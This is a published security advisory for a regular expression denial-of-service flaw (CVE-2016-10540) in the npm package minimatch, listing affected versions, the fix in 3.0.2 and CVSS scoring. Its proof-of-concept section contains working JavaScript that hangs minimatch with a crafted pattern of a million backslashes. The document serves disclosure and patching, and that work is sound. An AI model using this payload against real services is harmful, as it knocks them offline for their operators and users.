---
title: "GHSA-hxm2-r34f-qmc5: Regular Expression Denial of Service in minimatch"
description: "High severity. Regular Expression Denial of Service in minimatch. Affects minimatch; fixed in 3.0.2."
url: https://inlinr.com/advisories/GHSA-hxm2-r34f-qmc5
lang: en
---

[Packages](https://inlinr.com/packages) / [minimatch](https://inlinr.com/packages/minimatch) / [Security](https://inlinr.com/packages/minimatch/security)

High Vulnerability GHSA-hxm2-r34f-qmc5 CVE-2016-10540 Published 9 Oct 2018

# Regular Expression Denial of Service in minimatch

Your version 

Affected releases · [minimatch](https://inlinr.com/packages/minimatch)

- 3.x 3.0.0 Fixed in 3.0.2
- 2.x and older 0.0.1 – 2.0.10 No fix, no longer updated

On 3.x, the newest line:

```
npm install minimatch@3.0.2
```

Every release on a timeline

11.x 

1. Not affected

11.0.0 – 11.0.9  
10 releases, latest

3.x 

1. Affected

3.0.0  
1 release
2. Fixed

3.0.2 – 3.1.5  
13 releases

2.x 

1. Affected

2.0.0 – 2.0.10  
11 releases

1.x 

1. Affected

1.0.0  
1 release

0.x 

1. Affected

0.0.1 – 0.4.0  
25 releases

155 stable releases of minimatch, oldest to newest, one row per major.

## What happens

Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.

Proof of Concept

```
var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
```

Recommendation

Update to version 3.0.2 or later.

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: none
- **Availability**: high

CVSS:3.0/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:N/​A:H

## References

- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2016-10540 "https://nvd.nist.gov/vuln/detail/CVE-2016-10540")  
nvd.nist.gov/vuln/detail/CVE-2016-10540
- [GitHub advisory](https://github.com/advisories/GHSA-hxm2-r34f-qmc5 "https://github.com/advisories/GHSA-hxm2-r34f-qmc5")  
github.com/advisories/GHSA-hxm2-r34f-qmc5
- [Reference](https://www.npmjs.com/advisories/118 "https://www.npmjs.com/advisories/118")  
npmjs.com/advisories/118

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
